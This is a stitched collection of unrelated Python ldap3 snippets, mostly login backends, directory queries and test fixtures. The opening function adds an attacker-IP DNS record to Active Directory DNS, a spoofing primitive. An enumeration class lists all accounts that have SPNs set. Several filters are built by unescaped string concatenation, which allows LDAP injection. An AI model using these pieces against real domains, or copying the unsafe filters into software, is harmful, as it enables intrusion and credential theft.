logging.debug(traceback.format_exc()) return False if self._conn.result['description'] == 'noSuchObject': print '|[*] The specified object does not exist.' return False else: print '[*] The object was successfully removed.' return True def add_dns_node(self, domain, dns_server, name, attacker_ip): """ Adds a DNS node. Returns Boolean Status """ domain_dn = self.get_dn(domain) node_dn = 'DC=' + name + ',DC=' + domain + ',CN=MicrosoftDNS,DC=DomainDnsZones,' + domain_dn objectClass = ['top', 'dnsNode'] dnsRecord = DNSRecord(attacker_ip, dns_server, domain) attributes = { 'dNSTombstoned': True, 'dnsRecord': dnsRecord.getRecord() } try: logging.debug('[D] About to add DNS node at dn: %s' % node_dn) self._conn.add(node_dn, objectClass, attributes) logging.debug('[D] LDAP Result: ' + self._conn.result['description']) except Exception: logging.error('[-] Unexpected search error.') logging.debug('[D] Observe the following traceback:') logging.debug(traceback.format_exc()) return False if self._conn.result['description'] == 'noSuchObject': print '[*] The specified object does not exist.' return False else: print '[*] The object was successfully added.' return True
from ldap3 import Server, Connection, ALL from peewee import * from api.everything import * cfg = load_config('api/config.yaml') # skt = load_config('api/secret_config.yaml') theStaticDB = SqliteDatabase(cfg['databases']['static']) theStaticDB.drop_table(LDAPFaculty) server = Server('berea.edu', port=389, use_ssl=False, get_info='ALL') # conn = Connection (server, user=skt['ldap']['user'], password=skt['ldap']['pass']) conn = Connection(server, user="******", password="******") if not conn.bind(): print('error in bind', conn.result) # search_base and search_filter are the parameters conn.search('dc=berea,dc=edu', '(description=Faculty)', attributes=['samaccountname', 'givenname', 'sn', 'employeeid']) print("Found {0} faculty.".format(len(conn.entries))) # print (conn.entries[0]) def safe(d, k): result = "" try: if k in d: print("Result: ", d[k])
def login(): form = LoginForm() if form.username.data is not None: log("Begin login attempt for user %s" % (form.username.data)) _ldapConf = return_data_for_root_key('ldap') _localAdm = return_data_for_root_key('users') tryLocalAdmin = False if 'admin' in _localAdm: tryLocalAdmin = _localAdm['admin']['enabled'] log_Debug("Local admin enabled: {}".format(tryLocalAdmin)) if form.validate_on_submit(): user = AdmUsers.query.filter(AdmUsers.user_id == form.username.data).first() if tryLocalAdmin: _lUser = _localAdm['admin']['name'] _lPass = _localAdm['admin']['pass'] if form.username.data == _lUser: if _lPass == form.password.data: if user is None: user = AdmUsers() user.user_id = form.username.data user.user_pass = "******" db.session.add(user) db.session.commit() makeUserAdmin(user.user_id, 0) login_user(user) session['user'] = form.username.data recordLoginAndAssignIfNeeded(user.user_id, 0) setLoginSessionInfo(user.user_id) log("Local admin login sucessful for user %s" % (form.username.data)) return redirect(url_for('dashboard.index', username=user.user_id)) if user is not None and user.check_password(form.password.data): if accountIsEnabled(user.user_id): login_user(user) session['user'] = form.username.data recordLoginAndAssignIfNeeded(user.user_id, 1) setLoginSessionInfo(user.user_id) log("Console user login sucessful for user %s" % (form.username.data)) return redirect(url_for('dashboard.index', username=user.user_id)) else: log("User %s account is not enabled." % (form.username.data)) else: if _ldapConf['enabled']: log_Debug("Ldap is enabled.") userID = '' if 'loginUsrPrefix' in _ldapConf: if _ldapConf['loginUsrPrefix'] != 'LOGIN-PREFIX': userID = userID + _ldapConf['loginUsrPrefix'] userID = userID + form.username.data if 'loginUsrSufix' in _ldapConf: if _ldapConf['loginUsrSufix'] != 'LOGIN-SUFFIX': userID = userID + _ldapConf['loginUsrSufix'] server = None if 'server' in _ldapConf and 'port' in _ldapConf and 'useSSL' in _ldapConf: _use_ssl = True if _ldapConf['useSSL'] is False: log_Warn('SSL is not enabled for LDAP queries, this is not recommended.') _use_ssl = False server = Server(host=_ldapConf['server'], port=int(_ldapConf['port']), use_ssl=_use_ssl) conn = Connection(server, user=userID, password=form.password.data) if conn.bind(): _sFilter = "(&(objectClass=*)("+_ldapConf['loginAttr']+"="+userID+"))" #search_filter='(&(objectClass=*)(userPrincipalName=userID))' conn.search(search_base=_ldapConf['searchbase'], search_filter=_sFilter, search_scope=SUBTREE, attributes=ALL_ATTRIBUTES, get_operational_attributes=True) if accountExists(form.username.data): _usrActIsEnabled = False _usrInLdapGroup = usersExistsInLDAPGroups(conn, form.username.data) if _usrInLdapGroup: _usrActIsEnabled = accountIsEnabled(form.username.data) else: log_Error("Account %s is not in LDAP group.1") if _usrActIsEnabled: if user is None: user = addUser(form.username.data) session['user'] = form.username.data login_user(user) recordLoginAndAssignIfNeeded(user.user_id, 2) setLoginSessionInfo(user.user_id) log("LDAP login sucessful for user %s" % (form.username.data)) return redirect(url_for('dashboard.index', username=user.user_id)) else: log_Error("Account %s exists but is disabled.") else: if usersExistsInLDAPGroups(conn, form.username.data): user = addUser(form.username.data) session['user'] = form.username.data login_user(user) recordLoginAndAssignIfNeeded(user.user_id, 2) setLoginSessionInfo(user.user_id) log("LDAP login sucessful for user %s" % (form.username.data)) return redirect(url_for('dashboard.index', username=user.user_id)) flash('Incorrect username or password.') log_Error("Failed login attempt for user %s" % (form.username.data)) return render_template("login.html", form=form)
def get_connection(bind=None, use_ssl=None, check_names=None, lazy_connection=None, authentication=None, sasl_mechanism=None, sasl_credentials=None, ntlm_credentials=(None, None), get_info=None, usage=None, fast_decoder=None, simple_credentials=(None, None), receive_timeout=None, auto_escape=None, auto_encode=None): if bind is None: bind = True if check_names is None: check_names = test_check_names if lazy_connection is None: lazy_connection = test_lazy_connection if authentication is None: authentication = test_authentication if get_info is None: get_info = test_get_info if usage is None: usage = test_usage if fast_decoder is None: fast_decoder = test_fast_decoder if receive_timeout is None: receive_timeout = test_receive_timeout if auto_escape is None: auto_escape = test_auto_escape if auto_encode is None: auto_encode = test_auto_encode if test_server_type == 'AD' and use_ssl is None: use_ssl = True # Active directory forbids Add operations in cleartext if test_strategy not in [MOCK_SYNC, MOCK_ASYNC]: # define real server if isinstance(test_server, (list, tuple)): server = ServerPool(pool_strategy=test_pooling_strategy, active=test_pooling_active, exhaust=test_pooling_exhaust) for host in test_server: server.add(Server(host=host, use_ssl=use_ssl, port=test_port_ssl if use_ssl else test_port, allowed_referral_hosts=('*', True), get_info=get_info, mode=test_server_mode)) else: server = Server(host=test_server, use_ssl=use_ssl, port=test_port_ssl if use_ssl else test_port, allowed_referral_hosts=('*', True), get_info=get_info, mode=test_server_mode) else: if test_server_type == 'EDIR': schema = SchemaInfo.from_json(edir_8_8_8_schema) info = DsaInfo.from_json(edir_8_8_8_dsa_info, schema) server = Server.from_definition('MockSyncServer', info, schema) elif test_server_type == 'AD': schema = SchemaInfo.from_json(ad_2012_r2_schema) info = DsaInfo.from_json(ad_2012_r2_dsa_info, schema) server = Server.from_definition('MockSyncServer', info, schema) elif test_server_type == 'SLAPD': schema = SchemaInfo.from_json(slapd_2_4_schema) info = DsaInfo.from_json(slapd_2_4_dsa_info, schema) server = Server.from_definition('MockSyncServer', info, schema) if authentication == SASL: connection = Connection(server, auto_bind=bind, version=3, client_strategy=test_strategy, authentication=SASL, sasl_mechanism=sasl_mechanism, sasl_credentials=sasl_credentials, lazy=lazy_connection, pool_name='pool1', pool_size=test_pool_size, check_names=check_names, collect_usage=usage, fast_decoder=fast_decoder, receive_timeout=receive_timeout, auto_escape=auto_escape, auto_encode=auto_encode) elif authentication == NTLM: connection = Connection(server, auto_bind=bind, version=3, client_strategy=test_strategy, user=ntlm_credentials[0], password=ntlm_credentials[1], authentication=NTLM, lazy=lazy_connection, pool_name='pool1', pool_size=test_pool_size, check_names=check_names, collect_usage=usage, fast_decoder=fast_decoder, receive_timeout=receive_timeout, auto_escape=auto_escape, auto_encode=auto_encode) elif authentication == ANONYMOUS: connection = Connection(server, auto_bind=bind, version=3, client_strategy=test_strategy, user=None, password=None, authentication=ANONYMOUS, lazy=lazy_connection, pool_name='pool1', pool_size=test_pool_size, check_names=check_names, collect_usage=usage, fast_decoder=fast_decoder, receive_timeout=receive_timeout, auto_escape=auto_escape, auto_encode=auto_encode) else: connection = Connection(server, auto_bind=bind, version=3, client_strategy=test_strategy, user=simple_credentials[0] or test_user, password=simple_credentials[1] or test_password, authentication=authentication, lazy=lazy_connection, pool_name='pool1', pool_size=test_pool_size, check_names=check_names, collect_usage=usage, fast_decoder=fast_decoder, receive_timeout=receive_timeout, auto_escape=auto_escape, auto_encode=auto_encode) if test_strategy in [MOCK_SYNC, MOCK_ASYNC]: # create authentication identities for testing mock strategies connection.strategy.add_entry(test_user, {'objectClass': 'inetOrgPerson', 'userPassword': test_password}) connection.strategy.add_entry(test_secondary_user, {'objectClass': 'inetOrgPerson', 'userPassword': test_secondary_password}) connection.strategy.add_entry(test_sasl_user_dn, {'objectClass': 'inetOrgPerson', 'userPassword': test_sasl_password}) connection.strategy.add_entry(test_sasl_secondary_user_dn, {'objectClass': 'inetOrgPerson', 'userPassword': test_sasl_secondary_password}) # connection.strategy.add_entry(test_ntlm_user, {'objectClass': 'inetOrgPerson', 'userPassword': test_ntlm_password}) if bind: connection.bind() if 'TRAVIS,' in location and test_server_type == 'SLAPD' and not connection.closed: # try to create the contexts for fixtures result1 = connection.add(test_base, 'organizationalUnit') result2 = connection.add(test_moved, 'organizationalUnit') if not connection.strategy.sync: connection.get_response(result1) connection.get_response(result2) return connection
from ldap3 import Server, Connection, ObjectDef, AttrDef, Reader, Writer, ALL, MODIFY_ADD, MODIFY_REPLACE, MODIFY_DELETE, OFFLINE_SLAPD_2_4, MOCK_SYNC server = Server('my_fake_server', get_info=OFFLINE_SLAPD_2_4) conn = Connection(server, 'uid=admin,cn=users,cn=accounts,dc=demo1,dc=freeipa,dc=org', 'Secret123', client_strategy=MOCK_SYNC) conn.strategy.add_entry( 'uid=admin,cn=users,cn=accounts,dc=demo1,dc=freeipa,dc=org', { 'userPassword': '******', 'sn': 'admin_sn', 'revision': 0 }) print(conn.bind()) print(1, conn.last_error) print(conn.result) conn.add('ou=ldap3-tutorial,dc=demo1,dc=freeipa,dc=org', 'organizationalUnit') print(1, conn.last_error) conn.add( 'cn=b.young,ou=ldap3-tutorial,dc=demo1,dc=freeipa,dc=org', 'inetOrgPerson', { 'givenName': 'Beatrix', 'sn': 'Young', 'departmentNumber': 'DEV', 'telephoneNumber': 1111 }) print(2, conn.last_error) conn.modify_dn('cn=b.young,ou=ldap3-tutorial,dc=demo1,dc=freeipa,dc=org', 'cn=b.smith') print(3, conn.last_error) conn.add('ou=moved, ou=ldap3-tutorial,dc=demo1,dc=freeipa,dc=org', 'organizationalUnit')
def establish_session(): server = Server('directory.utexas.edu') conn = Connection(server) conn.bind() return conn
class MSLDAP: def __init__(self, login_credential, target_server, ldap_query_page_size = 1000): self.login_credential = login_credential self.target_server = target_server self.ldap_query_page_size = ldap_query_page_size #default for MSAD self._tree = self.target_server.tree self._ldapinfo = None self._srv = None self._con = None def get_server_info(self, anonymous = True): """ Performs bind on the server and grabs the DSA info object. If anonymous is set to true, then it will perform anonymous bind, not using user credentials Otherwise it will use the credentials set in the object constructor. """ if anonymous == True: logging.debug('Getting server info via Anonymous BIND on server %s' % self.target_server.get_host()) server = Server(self.target_server.get_host(), use_ssl=self.target_server.is_ssl(), get_info=ALL) conn = Connection(server, auto_bind=True) logging.debug('Got server info') else: logging.debug('Getting server info via credentials supplied on server %s' % self.target_server.get_host()) server = Server(self.target_server.get_host(), use_ssl=self.target_server.is_ssl(), get_info=ALL) conn = Connection(self._srv, user=self.login_credential.get_msuser(), password=self.login_credential.get_password(), authentication=self.login_credential.get_authmethod()) logging.debug('Performing BIND to server %s' % self.target_server.get_host()) if not self._con.bind(): if 'description' in self._con.result: raise Exception('Failed to bind to server! Reason: %s' % conn.result['description']) raise Exception('Failed to bind to server! Reason: %s' % conn.result) logging.debug('Connected to server!') return server.info def connect(self, anonymous = False): logging.debug('Connecting to server %s' % self.target_server.get_host()) if anonymous == False: self._srv = Server(self.target_server.get_host(), use_ssl=self.target_server.is_ssl(), get_info=ALL) self._con = Connection(self._srv, user=self.login_credential.get_msuser(), password=self.login_credential.get_password(), authentication=self.login_credential.get_authmethod()) logging.debug('Performing BIND to server %s' % self.target_server.get_host()) if not self._con.bind(): if 'description' in self._con.result: raise Exception('Failed to bind to server! Reason: %s' % self._con.result['description']) raise Exception('Failed to bind to server! Reason: %s' % self._con.result) logging.debug('Connected to server!') else: self._srv = Server(self.target_server.get_host(), use_ssl=self.target_server.is_ssl(), get_info=ALL) self._con = Connection(self._srv) logging.debug('Performing ANONYMOUS BIND to server %s' % self.target_server.get_host()) if not self._con.bind(): if 'description' in self._con.result: raise Exception('Failed to bind to server! Reason: %s' % self._con.result['description']) raise Exception('Failed to bind to server! Reason: %s' % self._con.result) logging.debug('Connected to server!') if not self._tree: logging.debug('Search tree base not defined, selecting root tree') info = self.get_server_info() self._tree = info.other['rootDomainNamingContext'][0] logging.debug('Selected tree: %s' % self._tree) def pagedsearch(self, ldap_filter, attributes): """ Performs a paged search on the AD, using the filter and attributes as a normal query does. Needs to connect to the server first! ldap_filter: str : LDAP query filter attributes: list : Attributes list to recieve in the result """ logging.debug('Paged search, filter: %s attributes: %s' % (ldap_filter, ','.join(attributes))) ctr = 0 entries = self._con.extend.standard.paged_search(self._tree, ldap_filter, attributes = attributes, paged_size = self.ldap_query_page_size) for entry in entries: if 'raw_attributes' in entry and 'attributes' in entry: # TODO: return ldapuser object ctr += 1 if ctr % self.ldap_query_page_size == 0: logging.info('New page requested. Result count: %d' % ctr) yield entry def get_all_user_objects(self): """ Fetches all user objects from the AD, and returns MSADUser object """ logging.debug('Polling AD for all user objects') ldap_filter = r'(objectClass=user)' attributes = MSADUser.ATTRS for entry in self.pagedsearch(ldap_filter, attributes): # TODO: return ldapuser object yield MSADUser.from_ldap(entry, self._ldapinfo) logging.debug('Finished polling for entries!') def get_user(self, sAMAccountName): """ Fetches one user object from the AD, based on the sAMAccountName attribute (read: username) """ logging.debug('Polling AD for user %s'% sAMAccountName) ldap_filter = r'(&(objectClass=user)(sAMAccountName=%s)' % sAMAccountName attributes = MSADUser.ATTRS for entry in self.pagedsearch(ldap_filter, attributes): # TODO: return ldapuser object yield MSADUser.from_ldap(entry, self._ldapinfo) logging.debug('Finished polling for entries!') def get_ad_info(self): """ Polls for basic AD information (needed for determine password usage characteristics!) """ logging.debug('Polling AD for basic info') ldap_filter = r'(distinguishedName=%s)' % self._tree attributes = MSADInfo.ATTRS for entry in self.pagedsearch(ldap_filter, attributes): self._ldapinfo = MSADInfo.from_ldap(entry) return self._ldapinfo logging.debug('Poll finished!') def get_all_service_user_objects(self, include_machine = False): """ Fetches all service user objects from the AD, and returns MSADUser object. Service user refers to an user whith SPN (servicePrincipalName) attribute set """ logging.debug('Polling AD for all user objects, machine accounts included: %s'% include_machine) if include_machine == True: ldap_filter = r'(servicePrincipalName=*)' else: ldap_filter = r'(&(servicePrincipalName=*)(!(sAMAccountName = *$)))' attributes = MSADUser.ATTRS for entry in self.pagedsearch(ldap_filter, attributes): # TODO: return ldapuser object yield MSADUser.from_ldap(entry, self._ldapinfo) logging.debug('Finished polling for entries!')
def authenticate(username=None, password=None): if username is None or username == '': return None # search capacities differs on LDAP engines. ldap_engine = 'AD' # to keep compatibility with previous version if hasattr(settings, 'LDAP_ENGINE') and settings.LDAP_ENGINE is not None: ldap_engine = settings.LDAP_ENGINE user_dn, user_attribs = LDAP3ADBackend.init_and_get_ldap_user(username) if user_dn is not None and user_attribs is not None: # now, we know the dn of the user, we try a simple bind. This way, # the LDAP checks the password with it's algorithm and the active state of the user in one test con = Connection(LDAP3ADBackend.pool, user=user_dn, password=password) if con.bind(): logger.info("AUDIT SUCCESS LOGIN FOR: %s AT %s" % (username, datetime.now())) user_model = get_user_model() """ We add special attributes only during the authentication process to store user DN & Business Unit Those attributes are saved in the current session by the user_logged_in_handler """ user_model.dn = lambda: None user_model.bu = lambda: None try: # try to retrieve user from database and update it username_field = getattr(settings, 'LDAP_USER_MODEL_USERNAME_FIELD', 'username') lookup_username = user_attribs[settings.LDAP_ATTRIBUTES_MAP[username_field]] usr = user_model.objects.get(**{"{0}__iexact".format(username_field): lookup_username}) except user_model.DoesNotExist: # user does not exist in database already, create it usr = user_model() # update existing or new user with LDAP data LDAP3ADBackend.update_user(usr, user_attribs) usr.set_password(password) usr.save() # if we want to use LDAP group membership: if LDAP3ADBackend.use_groups: # if using AD filter groups in result by using groups in the config if ldap_engine == 'AD': # inspired from # https://github.com/Lucterios2/django_auth_ldap3_ad/commit/ce24d4687f85ed12a0c4c796022ae7dcb3ff38e3 # by jobec all_ldap_groups = [] for group in settings.LDAP_SUPERUSER_GROUPS + settings.LDAP_STAFF_GROUPS + list( settings.LDAP_GROUPS_MAP.values()): all_ldap_groups.append("(distinguishedName={0})".format(group)) if len(all_ldap_groups) > 0: settings.LDAP_GROUPS_SEARCH_FILTER = "(&{0}(|{1}))".format( settings.LDAP_GROUPS_SEARCH_FILTER, "".join(all_ldap_groups)) # end # if using OpenLDAP, filter groups in search by membership of the user elif ldap_engine == 'OpenLDAP': # add filter on member settings.LDAP_GROUPS_SEARCH_FILTER = "(&%s(member=%s))" % (settings.LDAP_GROUPS_SEARCH_FILTER, user_dn) # add filter on groups to match all_ldap_groups = [] for group in settings.LDAP_SUPERUSER_GROUPS + settings.LDAP_STAFF_GROUPS + list( settings.LDAP_GROUPS_MAP.values()): if "(%s)" % group.split(',')[0] not in all_ldap_groups: all_ldap_groups.append("(%s)" % group.split(',')[0]) if len(all_ldap_groups) > 0: settings.LDAP_GROUPS_SEARCH_FILTER = "(&{0}(|{1}))".format( settings.LDAP_GROUPS_SEARCH_FILTER, "".join(all_ldap_groups)) logger.info("AUDIT LOGIN FOR: %s AT %s USING LDAP GROUPS" % (username, datetime.now())) # check for groups membership # first cleanup alter_superuser_membership = False if hasattr(settings, 'LDAP_SUPERUSER_GROUPS') and isinstance(settings.LDAP_SUPERUSER_GROUPS, list) \ and len(settings.LDAP_SUPERUSER_GROUPS) > 0: usr.is_superuser = False alter_superuser_membership = True alter_staff_membership = False if hasattr(settings, 'LDAP_STAFF_GROUPS') and isinstance(settings.LDAP_STAFF_GROUPS, list) \ and len(settings.LDAP_STAFF_GROUPS) > 0: usr.is_staff = False alter_staff_membership = True usr.save() logger.info("AUDIT LOGIN FOR: %s AT %s CLEANING OLD GROUP MEMBERSHIP" % (username, datetime.now())) if hasattr(settings, 'LDAP_IGNORED_LOCAL_GROUPS'): grps = Group.objects.exclude(name__in=settings.LDAP_IGNORED_LOCAL_GROUPS) else: grps = Group.objects.all() for grp in grps: grp.user_set.remove(usr) grp.save() # then re-fill con.search(settings.LDAP_GROUPS_SEARCH_BASE if hasattr(settings, 'LDAP_GROUPS_SEARCH_BASE') else settings.LDAP_SEARCH_BASE, settings.LDAP_GROUPS_SEARCH_FILTER, attributes=['cn', settings.LDAP_GROUP_MEMBER_ATTRIBUTE]) if len(con.response) > 0: for resp in con.response: if 'attributes' in resp and settings.LDAP_GROUP_MEMBER_ATTRIBUTE in resp['attributes'] \ and user_dn in resp['attributes'][settings.LDAP_GROUP_MEMBER_ATTRIBUTE]: logger.info("AUDIT LOGIN FOR: %s AT %s DETECTED IN GROUP %s" % (username, datetime.now(), resp['dn'])) # special super user group if alter_superuser_membership: if resp['dn'] in settings.LDAP_SUPERUSER_GROUPS: usr.is_superuser = True logger.info("AUDIT LOGIN FOR: %s AT %s GRANTING ADMIN RIGHTS" % (username, datetime.now())) else: logger.info("AUDIT LOGIN FOR: %s AT %s DENY ADMIN RIGHTS" % (username, datetime.now())) # special staff group if alter_staff_membership: if resp['dn'] in settings.LDAP_STAFF_GROUPS: usr.is_staff = True logger.info("AUDIT LOGIN FOR: %s AT %s GRANTING STAFF RIGHTS" % (username, datetime.now())) else: logger.info("AUDIT LOGIN FOR: %s AT %s DENY STAFF RIGHTS" % (username, datetime.now())) # other groups membership for grp in settings.LDAP_GROUPS_MAP.keys(): if resp['dn'] == settings.LDAP_GROUPS_MAP[grp]: try: logger.info(grp) usr.groups.add(Group.objects.get(name=grp)) logger.info("AUDIT LOGIN FOR: %s AT %s ADDING GROUP %s MEMBERSHIP" % (username, datetime.now(), grp)) except ObjectDoesNotExist: pass usr.save() con.unbind() # if set, apply min group membership logger.info("AUDIT LOGIN FOR: %s AT %s BEFORE MIN GROUP MEMBERSHIP" % (username, datetime.now())) if hasattr(settings, 'LDAP_MIN_GROUPS'): for grp in settings.LDAP_MIN_GROUPS: logger.info("AUDIT LOGIN FOR: %s AT %s MIN GROUP MEMBERSHIP: %s" % (username, datetime.now(), grp)) try: usr.groups.add(Group.objects.get(name=grp)) logger.info("AUDIT LOGIN FOR: %s AT %s ADDING GROUP %s MIN MEMBERSHIP" % (username, datetime.now(), grp)) except ObjectDoesNotExist: pass # if you want to be able to get full user DN from session, store it if hasattr(settings, 'LDAP_STORE_USER_DN') \ and isinstance(settings.LDAP_USE_LDAP_GROUPS, bool) \ and settings.LDAP_USE_LDAP_GROUPS: usr.dn = user_dn # if you want to know in which business unit the user is, check it if hasattr(settings, 'LDAP_STORE_BUSINESS_UNIT') \ and isinstance(settings.LDAP_STORE_BUSINESS_UNIT, dict): user_bu = ','.join(user_dn.split(',')[1:]) if user_bu in settings.LDAP_STORE_BUSINESS_UNIT: usr.bu = settings.LDAP_STORE_BUSINESS_UNIT[user_bu] return usr return None
from ldap3 import Server, Connection, SUBTREE, ALL, ALL_ATTRIBUTES, \ ALL_OPERATIONAL_ATTRIBUTES total_entries = 0 total_ou = 0 s = Server('172.30.1.197', port=636, use_ssl=True, get_info=ALL) admin_username = raw_input('Enter Admin Username....') admin_password = raw_input('Enter Admin Password....') #admin_username = '******' #admin_password = '******' c = Connection(s, user=admin_username, password=admin_password) c.bind() c.start_tls() if not c.bind(): print 'Admin username/password Wrong' else: c.search(search_base='dc=naanal,dc=local', search_filter='(objectClass=OrganizationalUnit)', search_scope=SUBTREE, attributes=[ALL_ATTRIBUTES, ALL_OPERATIONAL_ATTRIBUTES]) total_entries += len(c.response) for entry in c.response: if entry.has_key('attributes'): total_ou += 1
USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/1.10/howto/static-files/ STATIC_URL = '/static/' STATIC_ROOT = os.path.join(BASE_DIR, 'collected_static') # LDAP connection server = Server('serveur.lycee.jb', port=389) connection = Connection(server) connection.bind() ############# for the LDAP AUTH BACKEND ######################## # The URL of the LDAP server. LDAP_AUTH_URL = "ldap://serveur.lycee.jb:389" # The LDAP search base for looking up users. LDAP_AUTH_SEARCH_BASE = "ou=Users,dc=lycee,dc=jb" # The LDAP class that represents a user. LDAP_AUTH_OBJECT_CLASS = "kwartzAccount" # User model fields mapped to the LDAP # attributes that represent them. LDAP_AUTH_USER_FIELDS = { "username": "******",
class Ldap: def __init__( self, host: str, base_dn: str, login_attribute: str = "userPrincipalName", ldap3_args: Any = {}, ): """ Creates an ldap3 Server Object that will be used for the authentication Args: host (string): The URL of the the LDAP server. base_dn (string): The base dn of the LDAP server (e.g. DC=example,DC=com). login_attribut (string): Defines what attribute corresponds to the username. Defaults to 'userPrincipalName' ldap3_args (dict): Optional parameters that are used by the ldap3 Server function. Returns: No value """ self.server = Server(host, **ldap3_args) self.base_dn = base_dn self.login_attribute = login_attribute self.__authenticated = False def authenticate(self, user: str, password: str, member_of: Optional[str] = None) -> bool: """ Authenticates the user and if member_of has been provided checks if the user is a member of the group. Args: user (string): Username password (string): Password. ldap3_args (dict): Optional parameter that, if provided, is used to validate if the user is a member of the provided group. Returns: __authenticated (bool): True is the user was successfully authenticated (and is in the provided group). Otherwise False. """ self.user = user self.connection = Connection(self.server, user=user, password=password) if self.connection.bind(): if member_of: self.connection.search( search_base=self.base_dn, search_filter="(&({}={})(memberOf={}))".format( self.login_attribute, user, member_of), ) if self.connection.entries: self.__authenticated = True else: self.__authenticated = False else: self.__authenticated = True else: self.__authenticated = False return self.__authenticated def get_attributes( self, attributes: Optional[Union[List[str], str]] = "*") -> Dict[str, Any]: """ Gets attributes for the user (successful authentication is required) Args: attributes (list(str) or str): Optional parameter that defaults to * (meaning all). It can be used to specify the attributes that should be returned. Returns: user_attributes (dict): Values of the attributes requested for the user. Empty if the user hasn't been authenticated previously. """ if self.__authenticated: self.connection.search( search_base=self.base_dn, search_filter="({}={})".format(self.login_attribute, self.user), attributes=attributes, ) entry = json.loads( self.connection.entries[0].entry_to_json())["attributes"] user_attributes = {} for key, val in entry.items(): if len(val) == 1: user_attributes[key] = val[0] else: user_attributes[key] = val return user_attributes else: return {}
class ChangeGluuHostname: def __init__(self, old_host, new_host, cert_city, cert_mail, cert_state, cert_country, ldap_password, os_type, ip_address, server='localhost', gluu_version='', local=True, ldap_type='opendj'): self.old_host = old_host self.new_host = new_host self.ip_address = ip_address self.cert_city = cert_city self.cert_mail = cert_mail self.cert_state = cert_state self.cert_country = cert_country self.server = server self.ldap_password = ldap_password self.os_type = os_type self.gluu_version = gluu_version self.local = local self.base_inum = None self.appliance_inum = None self.ldap_type = ldap_type def startup(self): if self.local: ldap_server = 'localhost' else: ldap_server = self.server ldap_bind_dn = "cn=directory manager" if self.ldap_type == 'openldap': ldap_bind_dn += ' ,o=gluu' ldap_server = Server("ldaps://{}:1636".format(self.server), use_ssl=True) self.conn = Connection(ldap_server, user=ldap_bind_dn, password=self.ldap_password) r = self.conn.bind() if not r: print "Can't conect to LDAP Server" return False self.container = '/opt/gluu-server-{}'.format(self.gluu_version) if not self.local: print "NOT LOCAL?" sys.path.append("..") from clustermgr.core.remote import RemoteClient self.c = RemoteClient(self.server) self.c.startup() else: self.c = FakeRemote() if os.path.exists('/etc/gluu/conf/ox-ldap.properties'): self.container = '/' self.c.fake_remote = True self.installer = Installer(self.c, self.gluu_version, self.os_type) self.appliance_inum = self.get_appliance_inum() self.base_inum = self.get_base_inum() return True def get_appliance_inum(self): self.conn.search(search_base='ou=appliances,o=gluu', search_filter='(objectclass=*)', search_scope=SUBTREE, attributes=['inum']) for r in self.conn.response: if r['attributes']['inum']: return r['attributes']['inum'][0] def get_base_inum(self): self.conn.search(search_base='o=gluu', search_filter='(objectclass=gluuOrganization)', search_scope=SUBTREE, attributes=['o']) for r in self.conn.response: if r['attributes']['o']: return r['attributes']['o'][0] def change_appliance_config(self): print "Changing LDAP Applience configurations" config_dn = 'ou=configuration,inum={},ou=appliances,o=gluu'.format( self.appliance_inum) for dns, cattr in ( ('', 'oxIDPAuthentication'), ('oxauth', 'oxAuthConfDynamic'), ('oxidp', 'oxConfApplication'), ('oxtrust', 'oxTrustConfApplication'), ): if dns: dn = 'ou={},{}'.format(dns, config_dn) else: dn = 'inum={},ou=appliances,o=gluu'.format(self.appliance_inum) self.conn.search(search_base=dn, search_filter='(objectClass=*)', search_scope=BASE, attributes=[cattr]) config_data = json.loads( self.conn.response[0]['attributes'][cattr][0]) for k in config_data: kVal = config_data[k] if type(kVal) == type(u''): if self.old_host in kVal: kVal = kVal.replace(self.old_host, self.new_host) config_data[k] = kVal config_data = json.dumps(config_data) self.conn.modify(dn, {cattr: [MODIFY_REPLACE, config_data]}) def change_clients(self): print "Changing LDAP Clients configurations" dn = "ou=clients,o={},o=gluu".format(self.base_inum) self.conn.search(search_base=dn, search_filter='(objectClass=oxAuthClient)', search_scope=SUBTREE, attributes=[ 'oxAuthPostLogoutRedirectURI', 'oxAuthRedirectURI', 'oxClaimRedirectURI', 'oxAuthLogoutURI' ]) for client_entry in self.conn.response: dn = client_entry['dn'] for atr in client_entry['attributes']: if client_entry['attributes'][atr]: changeAttr = False for i in range(len(client_entry['attributes'][atr])): cur_val = client_entry['attributes'][atr][i] client_entry['attributes'][atr][i] = cur_val.replace( self.old_host, self.new_host) if cur_val != client_entry['attributes'][atr][i]: changeAttr = True if changeAttr: self.conn.modify(dn, { atr: [MODIFY_REPLACE, client_entry['attributes'][atr]] }) def change_uma(self): print "Changing LDAP UMA Configurations" for ou, cattr in ( ('resources', 'oxResource'), ('scopes', 'oxId'), ): dn = "ou={},ou=uma,o={},o=gluu".format(ou, self.base_inum) self.conn.search(search_base=dn, search_filter='(objectClass=*)', search_scope=SUBTREE, attributes=[cattr]) result = self.conn.response for r in result: for i in range(len(r['attributes'][cattr])): changeAttr = False if self.old_host in r['attributes'][cattr][i]: r['attributes'][cattr][i] = r['attributes'][cattr][ i].replace(self.old_host, self.new_host) self.conn.modify( r['dn'], {cattr: [MODIFY_REPLACE, r['attributes'][cattr]]}) def change_custom_scripts(self): print "Changing Custom Scripts" dn = "ou=scripts,o={0},o=gluu".format(self.base_inum) self.conn.search(search_base=dn, search_filter='(objectClass=oxCustomScript)', search_scope=SUBTREE, attributes=['oxConfigurationProperty']) result = self.conn.response for r in result: scdn = r['dn'] change_attr = False new_list = [] for oxConfigurationProperty in r['attributes'][ 'oxConfigurationProperty']: if self.old_host in oxConfigurationProperty: change_attr = True oxConfigurationProperty = oxConfigurationProperty.replace( self.old_host, self.new_host) new_list.append(oxConfigurationProperty) if change_attr: p = self.conn.modify( scdn, {'oxConfigurationProperty': [MODIFY_REPLACE, new_list]}) def change_casa(self): casa_json = os.path.join( self.installer.container, 'install/community-edition-setup/output/casa.json') if self.installer.c.exists(casa_json): result = self.installer.c.get_file(casa_json) if result[0]: print "Conifguring CASA json for further use" casa = result[1].read() casa = casa.replace(self.old_host, self.new_host) self.installer.c.put_file(casa_json, casa) def change_httpd_conf(self): print "Changing httpd configurations" if 'CentOS' in self.os_type: httpd_conf = os.path.join(self.container, 'etc/httpd/conf/httpd.conf') https_gluu = os.path.join(self.container, 'etc/httpd/conf.d/https_gluu.conf') conf_files = [httpd_conf, https_gluu] elif 'Ubuntu' in self.os_type: https_gluu = os.path.join( self.container, 'etc/apache2/sites-available/https_gluu.conf') conf_files = [https_gluu] for conf_file in conf_files: result, fileObj = self.c.get_file(conf_file) if result: config_text = fileObj.read() config_text = config_text.replace(self.old_host, self.new_host) 